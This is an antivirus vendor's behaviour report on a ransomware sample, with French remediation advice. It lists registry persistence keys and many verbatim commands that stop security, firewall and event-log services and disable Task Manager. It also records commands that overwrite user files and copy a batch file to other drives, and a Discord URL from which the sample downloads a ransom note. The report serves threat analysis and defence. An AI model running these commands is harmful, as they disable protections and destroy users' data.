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Trojan.Encoder.41766

Added to the Dr.Web virus database: 2025-03-11

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'rundll32_30983_toolbar' = '%TEMP%\RarSFX0\G0nnaC0pe.bat'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'AVAADA' = '%WINDIR%\.bat'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
Executes the following
  • '%WINDIR%\syswow64\net.exe' stop "WinDefend"
  • '%WINDIR%\syswow64\net.exe' stop "*Symantec*" /y
  • '%WINDIR%\syswow64\net.exe' stop "*McAfee*" /y
  • '%WINDIR%\syswow64\net.exe' stop ccPwdSvc /y
  • '%WINDIR%\syswow64\net.exe' stop "Serv-U" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Client" /y
  • '%WINDIR%\syswow64\net.exe' stop "Symantec AntiVirus Client" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Server" /y
  • '%WINDIR%\syswow64\net.exe' stop "NAV Alert" /y
  • '%WINDIR%\syswow64\net.exe' stop "Nav Auto-Protect" /y
  • '%WINDIR%\syswow64\net.exe' stop "McShield" /y
  • '%WINDIR%\syswow64\net.exe' stop "DefWatch" /y
  • '%WINDIR%\syswow64\net.exe' stop eventlog /y
  • '%WINDIR%\syswow64\net.exe' stop InoRPC /y
  • '%WINDIR%\syswow64\net.exe' stop "Symantec SPBBCSvc" /y
  • '%WINDIR%\syswow64\net.exe' stop InoRT /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Corporate Edition" /y
  • '%WINDIR%\syswow64\net.exe' stop "ViRobot Professional Monitoring" /y
  • '%WINDIR%\syswow64\net.exe' stop "PC-cillin Personal Firewall" /y
  • '%WINDIR%\syswow64\net.exe' stop "Trend Micro Proxy Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "Trend NT Realtime Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfee.com McShield" /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
  • '%WINDIR%\syswow64\net.exe' stop "SyGateService" /y
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Anti-Virus" /y
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Anti-Virus Network" /y
  • '%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus Job Server" /y
  • '%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus Realtime Server" /y
  • '%WINDIR%\syswow64\net.exe' stop "eTrust Antivirus RPC Server" /y
  • '%WINDIR%\syswow64\net.exe' stop ERSvc /y
  • '%WINDIR%\syswow64\net.exe' stop "*norton*" /y
  • '%WINDIR%\syswow64\net.exe' stop helpsvc /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfeeAntiSpyware" /y
  • '%WINDIR%\syswow64\net.exe' stop mcupdmgr.exe /y
  • '%WINDIR%\syswow64\net.exe' stop "wuauserv"
  • '%WINDIR%\syswow64\net.exe' stop "security center"
  • '%WINDIR%\syswow64\net.exe' stop sharedaccess
  • '%WINDIR%\syswow64\netsh.exe' firewall set opmode mode-disable
  • '%WINDIR%\syswow64\net.exe' stop "Security Center" /y
  • '%WINDIR%\syswow64\net.exe' stop "Automatic Updates" /y
  • '%WINDIR%\syswow64\net.exe' stop "Symantec Core LC" /y
  • '%WINDIR%\syswow64\net.exe' stop "SAVScan" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Firewall Monitor Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Auto-Protect Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton AntiVirus Auto Protect Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfee Spamkiller Server" /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfee Personal Firewall Service" /y
  • '%WINDIR%\syswow64\net.exe' stop netsvcs
  • '%WINDIR%\syswow64\net.exe' stop InoTask /y
  • '%WINDIR%\syswow64\net.exe' stop "McAfee SecurityCenter Update Manager" /y
  • '%WINDIR%\syswow64\net.exe' stop navapsvc /y
  • '%WINDIR%\syswow64\net.exe' stop "Sygate Personal Firewall Pro" /y
  • '%WINDIR%\syswow64\net.exe' stop vrmonsvc /y
  • '%WINDIR%\syswow64\net.exe' stop MonSvcNT /y
  • '%WINDIR%\syswow64\net.exe' stop SAVScan /y
  • '%WINDIR%\syswow64\net.exe' stop NProtectService /y
  • '%WINDIR%\syswow64\net.exe' stop ccSetMGR /y
  • '%WINDIR%\syswow64\net.exe' stop ccEvtMGR /y
  • '%WINDIR%\syswow64\net.exe' stop srservice /y
  • '%WINDIR%\syswow64\net.exe' stop "Symantec Network Drivers Service" /y
  • '%WINDIR%\syswow64\net.exe' stop "norton Unerase Protection" /y
  • '%WINDIR%\syswow64\net.exe' stop MskService /y
  • '%WINDIR%\syswow64\net.exe' stop MpfService /y
  • '%WINDIR%\syswow64\taskkill.exe' /f /t /im "MSASCui.exe"
  • '%WINDIR%\syswow64\net.exe' stop "Ahnlab Task Scheduler" /y
  • '%WINDIR%\syswow64\net.exe' stop spoolnt
Downloads
  • https://cdn.discordapp.com/attachments/938293862500294666/967244800938111036/g0nnac0peransn0te.bat as g0nnac0peransn0te.bat
Launches a large number of processes
Modifies file system
Creates the following files
  • %TEMP%\rarsfx0\g0nnac0pe.bat
  • nul
  • %TEMP%\rarsfx0\%vrjez:~12
  • %HOMEPATH%\readme.txt
  • %HOMEPATH%\desktop\random.txt
  • %HOMEPATH%\documents\random.txt
  • %HOMEPATH%\music\random.txt
  • %HOMEPATH%\pictures\random.txt
  • %HOMEPATH%\videos\random.txt
  • %HOMEPATH%\downloads\random.txt
Sets the 'hidden' attribute to the following files
  • %TEMP%\rarsfx0\g0nnac0pe.bat
Moves the following files
  • from %HOMEPATH%\desktop\random.txt to %HOMEPATH%\desktop\c0pe-m.txt14567.cope
  • from %HOMEPATH%\documents\random.txt to %HOMEPATH%\documents\c0pe-m.txt23121.c0pe
  • from %HOMEPATH%\music\random.txt to %HOMEPATH%\music\c0pe-m.txt15940.c0pe
  • from %HOMEPATH%\pictures\random.txt to %HOMEPATH%\pictures\c0pe-m.txt3659.c0pe
  • from %HOMEPATH%\videos\random.txt to %HOMEPATH%\videos\c0pe-m.txt32293.c0pe
  • from %HOMEPATH%\downloads\random.txt to %HOMEPATH%\downloads\c0pe-m.txt19900.c0pe
Modifies the following files
  • %HOMEPATH%\desktop\508softwareandos.doc
  • %HOMEPATH%\desktop\about.htm
  • %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
  • %HOMEPATH%\desktop\applicantform_en.doc
  • %HOMEPATH%\desktop\coffee.bmp
  • %HOMEPATH%\desktop\telegram.lnk
  • %HOMEPATH%\desktop\dashborder_144.bmp
  • %HOMEPATH%\desktop\dashborder_192.bmp
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: '' WindowName: ''
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\RarSFX0\G0nnaC0pe.bat" "
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\february_catalogue__2015.doc
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_192.bmp
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_144.bmp
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_120.bmp
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\correct.avi
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contosoroot_1.cer
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contosoroot.cer
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contoso.cer
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\coffee.bmp
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\applicantform_en.doc
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\aoc_saq_d_v3_merchant.docx
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\about.htm
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\508softwareandos.doc
  • '%WINDIR%\syswow64\notepad.exe' %HOMEPATH%\ReadMe.txt
  • '%WINDIR%\syswow64\net1.exe' stop spoolnt
  • '%WINDIR%\syswow64\net1.exe' stop netsvcs
  • '%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus RPC Server" /y
  • '%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus Realtime Server" /y
  • '%WINDIR%\syswow64\net1.exe' stop "eTrust Antivirus Job Server" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Anti-Virus Network" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Anti-Virus" /y
  • '%WINDIR%\syswow64\net1.exe' stop "SyGateService" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfee.com McShield" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Trend NT Realtime Service" /y
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\glidescope_review_rev_010.docx
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Google Chrome.lnk
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\hanni_umami_chapter.doc
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\holycrosschurchinstructions.docx
  • '%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat <Drive name for removable media>:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat E:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat D:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf H:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf G:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf <Drive name for removable media>:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf E:\
  • '%WINDIR%\syswow64\xcopy.exe' /e /y windows.inf D:\
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Videos\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Pictures\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Music\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\utorrent.exe
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Documents\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\trivial-merge.html
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tree_view.htm
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\toolbar.bmp
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Telegram.lnk
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tcm851ax32.exe
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\SDKSampleUnprivDeveloper.cer
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\random.txt
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\notepad.exe
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\lisp_success.doc
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\join.avi
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\issi2013_template_for_posters.docx
  • '%WINDIR%\syswow64\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\iisstart.html
  • '%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat G:\
  • '%WINDIR%\syswow64\net1.exe' stop "Trend Micro Proxy Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop "PC-cillin Personal Firewall" /y
  • '%WINDIR%\syswow64\net1.exe' stop "ViRobot Professional Monitoring" /y
  • '%WINDIR%\syswow64\net1.exe' stop vrmonsvc /y
  • '%WINDIR%\syswow64\net1.exe' stop "Sygate Personal Firewall Pro" /y
  • '%WINDIR%\syswow64\net1.exe' stop navapsvc /y
  • '%WINDIR%\syswow64\net1.exe' stop "Ahnlab Task Scheduler" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Symantec SPBBCSvc" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfee SecurityCenter Update Manager" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfee Personal Firewall Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfee Spamkiller Server" /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Auto Protect Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Auto-Protect Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Firewall Monitor Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop "SAVScan" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Symantec Core LC" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Automatic Updates" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Security Center" /y
  • '%WINDIR%\syswow64\net1.exe' stop sharedaccess
  • '%WINDIR%\syswow64\net1.exe' stop "security center"
  • '%WINDIR%\syswow64\net1.exe' stop "wuauserv"
  • '%WINDIR%\syswow64\net1.exe' stop "WinDefend"
  • '%WINDIR%\syswow64\cmd.exe'
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %WINDIR%\.bat /f
  • '%WINDIR%\syswow64\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_30983_toolbar" /t "REG_SZ" /d "%TEMP%\RarSFX0\G0nnaC0pe.bat" /f
  • '%WINDIR%\syswow64\rundll32.exe' USER32.DLL SwapMouseButton
  • '%WINDIR%\syswow64\attrib.exe' +h "%TEMP%\RarSFX0\G0nnaC0pe.bat"
  • '%WINDIR%\syswow64\net1.exe' stop MonSvcNT /y
  • '%WINDIR%\syswow64\net1.exe' stop SAVScan /y
  • '%WINDIR%\syswow64\net1.exe' stop NProtectService /y
  • '%WINDIR%\syswow64\net1.exe' stop ccSetMGR /y
  • '%WINDIR%\syswow64\net1.exe' stop InoTask /y
  • '%WINDIR%\syswow64\net1.exe' stop InoRT /y
  • '%WINDIR%\syswow64\net1.exe' stop InoRPC /y
  • '%WINDIR%\syswow64\net1.exe' stop eventlog /y
  • '%WINDIR%\syswow64\net1.exe' stop "DefWatch" /y
  • '%WINDIR%\syswow64\net1.exe' stop "McShield" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Nav Auto-Protect" /y
  • '%WINDIR%\syswow64\net1.exe' stop "NAV Alert" /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Server" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Symantec AntiVirus Client" /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Client" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Serv-U" /y
  • '%WINDIR%\syswow64\net1.exe' stop "*McAfee*" /y
  • '%WINDIR%\syswow64\net1.exe' stop ccPwdSvc /y
  • '%WINDIR%\syswow64\net1.exe' stop "*Symantec*" /y
  • '%WINDIR%\syswow64\net1.exe' stop "*norton*" /y
  • '%WINDIR%\syswow64\net1.exe' stop ERSvc /y
  • '%WINDIR%\syswow64\net1.exe' stop helpsvc /y
  • '%WINDIR%\syswow64\net1.exe' stop "McAfeeAntiSpyware" /y
  • '%WINDIR%\syswow64\net1.exe' stop mcupdmgr.exe /y
  • '%WINDIR%\syswow64\net1.exe' stop MpfService /y
  • '%WINDIR%\syswow64\net1.exe' stop MskService /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton Unerase Protection" /y
  • '%WINDIR%\syswow64\net1.exe' stop "Symantec Network Drivers Service" /y
  • '%WINDIR%\syswow64\net1.exe' stop srservice /y
  • '%WINDIR%\syswow64\net1.exe' stop ccEvtMGR /y
  • '%WINDIR%\syswow64\net1.exe' stop "norton AntiVirus Corporate Edition" /y
  • '%WINDIR%\syswow64\xcopy.exe' /e /y G0nnaC0pe.bat H:\

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
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  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

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